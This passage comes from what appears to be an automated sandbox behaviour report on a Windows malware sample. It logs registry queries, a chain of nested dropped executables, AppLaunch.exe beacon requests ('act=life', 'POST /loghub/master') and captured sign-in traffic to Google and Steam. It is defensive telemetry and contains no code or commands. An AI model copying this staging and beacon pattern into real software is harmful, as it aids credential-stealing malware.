"QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "0C12CD0538BEA9F88B40D52CF438F139"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: "DISABLE"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "0c12cd0538bea9f88b40d52cf438f139.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: "COMMERCIALDATAOPTIN"; Value: "")5a:T402,"0c12cd0538bea9f88b40d52cf438f139.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\bj1qg86.exe" "0c12cd0538bea9f88b40d52cf438f139.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\13ef605.exe" "bJ1qg86.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\ac8sp85.exe" "bJ1qg86.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\12hz690.exe" "Ac8sp85.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\10io12so.exe" "Ac8sp85.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\11gy8714.exe" "10IO12so.exe" reads file "c:\program files\internet explorer\iexplore.exe" "10IO12so.exe" reads file "c:\windows\system32\ieframe.dll" "10IO12so.exe" reads file "c:\program files\internet explorer\ieproxy.dll" "11GY8714.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\applaunch.exe" "AppLaunch.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.core\31fae3290fad30c31c98651462d22724\system.core.ni.dll.aux"5b:T95e,"0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\0c12cd0538bea9f88b40d52cf438f139.exe.Local\" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\COMCTL32.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Cabinet.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Windows\system32\Cabinet.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\VERSION.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Windows\system32\VERSION.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Windows\system32\apphelp.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Windows\AppPatch\sysmain.sdb" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Windows\AppPatch\AcLayers.DLL" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\SspiCli.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Windows\system32\SspiCli.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\WINSPOOL.DRV" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Windows\system32\WINSPOOL.DRV" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Windows\AppPatch\AcGenral.DLL" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\UxTheme.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Windows\system32\UxTheme.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\WINMM.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Windows\system32\WINMM.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\samcli.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Windows\system32\samcli.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\MSACM32.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\Windows\system32\MSACM32.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to touch file "C:\sfc.dll"5c:T9f1,"0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\Cabinet.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\VERSION.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\SspiCli.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\UxTheme.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\WINMM.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\samcli.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\MSACM32.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\sfc.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\sfc_os.DLL" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\dwmapi.dll" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\bJ1qg86.exe" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\13Ef605.exe" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "\Device\HarddiskVolume2\MPR.DLL" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "\Device\HarddiskVolume2\SSPICLI.DLL" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "\Device\HarddiskVolume2\UXTHEME.DLL" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "\Device\HarddiskVolume2\WINMM.DLL"5d:T991,"0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\0c12cd0538bea9f88b40d52cf438f139.exe.Local\" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\WINSPOOL.DRV" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "\Device\HarddiskVolume2\0C12CD0538BEA9F88B40D52CF438F139.EXE.CONFIG" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "\Device\HarddiskVolume2\0C12CD0538BEA9F88B40D52CF438F139.EXE.LOCAL" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "\Device\HarddiskVolume2\WINSPOOL.DRV" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\0c12cd0538bea9f88b40d52cf438f139.exe.Config" "0c12cd0538bea9f88b40d52cf438f139.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "bJ1qg86.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "bJ1qg86.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "bJ1qg86.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\bJ1qg86.exe.Local\" "bJ1qg86.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\bJ1qg86.exe.Config" "bJ1qg86.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "bJ1qg86.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "bJ1qg86.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\BJ1QG86.EXE.LOCAL" "bJ1qg86.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\BJ1QG86.EXE.CONFIG" "Ac8sp85.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\WINSPOOL.DRV" "Ac8sp85.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\Ac8sp85.exe.Local\" "Ac8sp85.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\Ac8sp85.exe.Config" "Ac8sp85.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP"5e:T6fd,"AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5ebae0" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=life" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0" "$error": "2ee7"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5ea270" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=life" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "63c840" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "532" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "63ea88" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "532" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "640b58" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "532" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "62c8c0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "532" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "613bc0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "532" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "bdebd8" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "532" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "618ea0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "532" "dwContext": "0"}5f:T560,Found http requests in header "POST /loghub/master" Found http requests in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D" Found http requests in header "GET /DigiCertGlobalRootG3.crt" Found http requests in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D" Found http requests in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAyrYs0K8fIgDBkW1BOTO8g%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D"60:T437e,Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: www.bing.comDNT: 1Connection: Keep-AliveCookie: SRCHD=AF=IESS4A; SRCHUID=V=2&GUID=DD3EB05AD9C54D24A2443E918EB9AD6D&dmnchg=1; SRCHUSR=DOB=20220131&T=1643622536000; _UR=D=0; SRCHHPGUSR=SRCHLANG=en&BRW=HTP&BRH=S&CW=1024&CH=472&SW=1024&SH=611&DPR=1&UTC=60&DM=3&WTS=63779219336&HV=1643615337"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:J5U0iJ95ioUb5J9ahxKMGvFkrgGPVQ:wLbnjI6hCxSGWX9ZConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:J5U0iJ95ioUb5J9ahxKMGvFkrgGPVQ:wLbnjI6hCxSGWX9ZConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeywCbJNJEcUUvBcmfpzVoyWQ5eZUsFVzS3giw2on0cEPsnJNB2QSc_ji5XnJnjgathDChUVkkg HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:dp4f8CUcEfF9OV8cFk78tFg1xZmF3A:_kg5mBqnPoxATk2fConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:xKygfJ_CCrhpA-6qugbULDYVitZ8xw:ZT8Oc_IsEhekfED7Connection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyyt0wJr6Sytvra_3Ogqi1VXfdjzHKHGdLJyXex1p8srFmaq6d8aiK-c_75w7-bMisYPmrA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1945721496%3A1699715315996710&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:dp4f8CUcEfF9OV8cFk78tFg1xZmF3A:_kg5mBqnPoxATk2fConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyxEkv9nQVr4_cCREx1y_O0IvdDD7qOz9qn2i7chjdBAFGwZWea3xBsOzKJ4fNb-YlVIVuXbOA HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:xKygfJ_CCrhpA-6qugbULDYVitZ8xw:ZT8Oc_IsEhekfED7Connection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeywDKHraxoopAn5Lo50x5TUTC2Tq1I8DYY5vkRGN6hur1eTM1xE27NcSpjP73GPCcSYsF5SQjw HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:W3z8D9D93B1X3rHcq904so-xDJDz7A:0NfvdCxp-GBx3drF"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyzqg4QWbIW4mOPsPgFX7Hvxl5IcSGDgjPhXZvWB1GqqEDRNOBC0EcsXmNhFP2IKVsCdy6KJ&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1023550076%3A1699715320025912&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:xmFwDiyu7vVudXO8aPpnaR6IV-2Yxw:J2WhxbXONJRZl72SConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyxS7g4JFxN5K0GzX5yn6-IOeR-Xkb7np345Qs7L_bk3m71EubQ1pzYbZsgKmyLHNfG4ATcG_Q&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S302088445%3A1699715323337275&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:eJaY_0wtRk_xWLGoJeuWzruVjYa9hA:JClT2HIHaKEVgYSz"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:7RiQUgr9w_Go-nluJdzVAYHf_RB7OQ:hKztR3PKR2taNeFT"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=-5650557061937705861&bl=boq_identityfrontendauthuiserver_20231105.08_p1&hl=en-US&_reqid=62029&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S-1945721496:1699715315996710",null,null,"AVQVeyyt0wJr6Sytvra_3Ogqi1VXfdjzHKHGdLJyXex1p8srFmaq6d8aiK-c_75w7-bMisYPmrA"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 166DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:7RiQUgr9w_Go-nluJdzVAYHf_RB7OQ:hKztR3PKR2taNeFT"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:7RiQUgr9w_Go-nluJdzVAYHf_RB7OQ:hKztR3PKR2taNeFT"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=-499315064087679804&bl=boq_identityfrontendauthuiserver_20231105.08_p1&hl=en-US&_reqid=62038&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S302088445:1699715323337275",null,null,"AVQVeyxS7g4JFxN5K0GzX5yn6-IOeR-Xkb7np345Qs7L_bk3m71EubQ1pzYbZsgKmyLHNfG4ATcG_Q"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 164DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:7RiQUgr9w_Go-nluJdzVAYHf_RB7OQ:hKztR3PKR2taNeFT"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: store.steampowered.comDNT: 1Connection: Keep-AliveCookie: steamCountry=US%7Cd5203a3b374fc04fbcd23a13412805b3; browserid=3138506767087849856; sessionid=bcdaa3386b241aa2b9d39aec"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/am=DggrInFsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlHIoiT-65iMVakMzsOqTDMIGph2hg/m=_b,_tp HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /s/googlesans/v14/4UabrENHsxJlGDuGo1OIlLU94YtzCwA.woff HTTP/1.1Accept: */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoOrigin: https://accounts.google.comAccept-Encoding: gzip, deflateHost: fonts.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/ck=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInFsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/exm=AvtSve,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PrPYRd,SCuOPb,STuCOe,SpsfSb,UUJqVe,Uas9Hd,YHI3We,YTxL4,ZUKRxc,_b,_tp,aW3pY,b3kMqb,bSspM,byfTOb,eVCnO,fJpY1b,fqEYIb,hc6Ubd,hmHrle,inNHtf,lsjVmc,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,qmdT9,siKnQd,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlFo-pGcuy8ggFJrMH4h9k3FpFc9hA/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oG